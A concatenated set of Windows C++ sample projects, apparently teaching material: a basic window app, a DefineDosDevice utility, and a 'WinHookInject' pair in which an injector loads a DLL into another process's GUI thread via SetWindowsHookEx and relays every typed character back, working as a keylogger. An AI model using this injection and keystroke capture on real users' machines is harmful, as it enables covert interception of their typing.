12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Debug|x64.ActiveCfg = Debug|x64
17 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Debug|x64.Build.0 = Debug|x64
18 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Debug|x86.ActiveCfg = Debug|Win32
19 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Debug|x86.Build.0 = Debug|Win32
20 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Release|x64.ActiveCfg = Release|x64
21 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Release|x64.Build.0 = Release|x64
22 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Release|x86.ActiveCfg = Release|Win32
23 | {7067BDCD-263B-4929-9389-7A9DC6D8C446}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {FB1E2D98-E231-4702-8266-CFC7DC804B2A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/WinApp/WinApp/WinApp.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
4 | switch (message) {
5 | case WM_DESTROY:
6 | PostQuitMessage(0);
7 | break;
8 |
9 | case WM_PAINT:
10 | PAINTSTRUCT ps;
11 | HDC hdc = BeginPaint(hWnd, &ps);
12 |
13 | RECT rc;
14 | GetClientRect(hWnd, &rc);
15 | Ellipse(hdc, 0, 0, rc.right, rc.bottom);
16 |
17 | EndPaint(hWnd, &ps);
18 | }
19 |
20 | return DefWindowProc(hWnd, message, wParam, lParam);
21 | }
22 |
23 |
24 | int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE, LPWSTR cmdLine, int cmdShow) {
25 | WNDCLASS wc{};
26 | wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
27 | wc.hCursor = LoadCursor(nullptr, IDC_ARROW);
28 | wc.hIcon = LoadIcon(nullptr, IDI_APPLICATION);
29 | wc.lpszClassName = L"MyWinAppWndClass";
30 | wc.lpfnWndProc = MyWndProc;
31 | wc.style = CS_VREDRAW | CS_HREDRAW;
32 | wc.hInstance = hInstance;
33 | auto atom = RegisterClass(&wc);
34 |
35 | HWND hWnd = CreateWindow(L"MyWinAppWndClass", L"My WinApp Application", WS_OVERLAPPEDWINDOW,
36 | CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
37 | nullptr, nullptr, hInstance, nullptr);
38 | if (!hWnd)
39 | return 1;
40 |
41 | HWND hWnd2 = CreateWindow(L"MyWinAppWndClass", L"WinApp Application 2", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
42 | CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
43 | nullptr, nullptr, hInstance, nullptr);
44 |
45 | ShowWindow(hWnd, SW_SHOWDEFAULT);
46 | UpdateWindow(hWnd);
47 |
48 | MSG msg;
49 | while (GetMessage(&msg, nullptr, 0, 0)) {
50 | TranslateMessage(&msg);
51 | DispatchMessage(&msg);
52 | }
53 |
54 | return 0;
55 | }
56 |
--------------------------------------------------------------------------------
/WinApp/WinApp/WinApp.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/WinHookInject/Injected/Injected.def:
--------------------------------------------------------------------------------
1 | LIBRARY
2 | EXPORTS
3 | HookFunc
4 | SetNotifyTid
5 |
--------------------------------------------------------------------------------
/WinHookInject/Injected/Injected.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 |
23 |
24 | Source Files
25 |
26 |
27 | Source Files
28 |
29 |
30 |
31 |
32 | Source Files
33 |
34 |
35 |
--------------------------------------------------------------------------------
/WinHookInject/Injected/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 |
3 | #include "pch.h"
4 |
5 | #pragma data_seg(".shared")
6 | DWORD g_InjectorId = 0;
7 | #pragma data_seg()
8 | #pragma comment(linker, "/section:.shared,RWS")
9 |
10 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
11 | switch (reason) {
12 | case DLL_PROCESS_ATTACH:
13 | break;
14 | case DLL_PROCESS_DETACH:
15 | PostThreadMessage(g_InjectorId, WM_QUIT, 0, 0);
16 | break;
17 | }
18 | return TRUE;
19 | }
20 |
21 | LRESULT CALLBACK HookFunc(int code, WPARAM wParam, LPARAM lParam) {
22 | if (code == HC_ACTION) {
23 | auto msg = (MSG*)lParam;
24 | if (msg->message == WM_CHAR) {
25 | if (msg->wParam == 'H')
26 | msg->wParam = 0;
27 | PostThreadMessage(g_InjectorId, WM_APP, msg->wParam, msg->lParam);
28 | }
29 | }
30 | return CallNextHookEx(nullptr, code, wParam, lParam);
31 | }
32 |
33 | void WINAPI SetNotifyTid(DWORD tid) {
34 | g_InjectorId = tid;
35 | }
36 |
--------------------------------------------------------------------------------
/WinHookInject/Injected/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/WinHookInject/Injected/pch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
4 | // Windows Header Files
5 | #include
6 |
--------------------------------------------------------------------------------
/WinHookInject/Injector/Injector.cpp:
--------------------------------------------------------------------------------
1 | // Injector.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | DWORD FindUIThread(DWORD pid) {
9 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
10 | if (hSnapshot == INVALID_HANDLE_VALUE)
11 | return 0;
12 |
13 | THREADENTRY32 te;
14 | te.dwSize = sizeof(te);
15 | Thread32First(hSnapshot, &te);
16 | DWORD tid = 0;
17 | while (Thread32Next(hSnapshot, &te)) {
18 | if (te.th32OwnerProcessID == pid) {
19 | GUITHREADINFO info{ sizeof(info) };
20 | if (GetGUIThreadInfo(te.th32ThreadID, &info)) {
21 | tid = te.th32ThreadID;
22 | break;
23 | }
24 | }
25 | }
26 | CloseHandle(hSnapshot);
27 | return tid;
28 | }
29 |
30 | void WINAPI SetNotifyTid(DWORD tid);
31 |
32 | int main(int argc, const char* argv[]) {
33 | if (argc < 2) {
34 | printf("Usage: injector \n");
35 | return 1;
36 | }
37 |
38 | int pid = atoi(argv[1]);
39 | DWORD tid = FindUIThread(pid);
40 | if (tid == 0) {
41 | printf("No GUI thread found\n");
42 | return 1;
43 | }
44 |
45 | auto hDll = LoadLibrary(L"Injected.dll");
46 | auto hookFunc = (HOOKPROC)GetProcAddress(hDll, "HookFunc");
47 | if (!hookFunc) {
48 | printf("Function not found\n");
49 | return 1;
50 | }
51 |
52 | auto pSetNotifyTid = (decltype(SetNotifyTid)*)GetProcAddress(hDll, "SetNotifyTid");
53 | if (pSetNotifyTid)
54 | pSetNotifyTid(GetCurrentThreadId());
55 |
56 | auto hHook = SetWindowsHookEx(WH_GETMESSAGE, hookFunc, hDll, tid);
57 | if (!hHook) {
58 | printf("Error in SetWindowsHookEx\n");
59 | return 1;
60 | }
61 |
62 | PostThreadMessage(tid, WM_NULL, 0, 0);
63 |
64 | MSG msg;
65 | while (GetMessage(&msg, nullptr, 0, 0)) {
66 | if (msg.message == WM_APP) {
67 | printf("%c", (int)msg.wParam);
68 | if (msg.wParam == 13)
69 | printf("\n");
70 | }
71 | }
72 |
73 | UnhookWindowsHookEx(hHook);
74 | FreeLibrary(hDll);
75 | return 0;
76 | }
77 |
78 |
--------------------------------------------------------------------------------
/WinHookInject/Injector/Injector.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ddd/ddd.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.11.35201.85
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ddd", "ddd\ddd.vcxproj", "{7888BFC2-8219-4E15-9654-3215B0BD21AB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Debug|x64.ActiveCfg = Debug|x64
17 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Debug|x64.Build.0 = Debug|x64
18 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Debug|x86.ActiveCfg = Debug|Win32
19 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Debug|x86.Build.0 = Debug|Win32
20 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Release|x64.ActiveCfg = Release|x64
21 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Release|x64.Build.0 = Release|x64
22 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Release|x86.ActiveCfg = Release|Win32
23 | {7888BFC2-8219-4E15-9654-3215B0BD21AB}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8A49F34A-46DE-4FC4-AC3B-0B860BD7D662}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ddd/ddd/ddd.cpp:
--------------------------------------------------------------------------------
1 | // ddd.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 |
8 | int wmain(int argc, const wchar_t* argv[]) {
9 | if (argc < 3) {
10 | printf("Usage: ddd \n");
11 | return 0;
12 | }
13 |
14 | if (DefineDosDevice(DDD_RAW_TARGET_PATH, argv[1], argv[2]))
15 | printf("Success!\n");
16 | else
17 | printf("Error (%u)\n", GetLastError());
18 | return 0;
19 | }
20 |
21 |
--------------------------------------------------------------------------------
/ddd/ddd/ddd.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------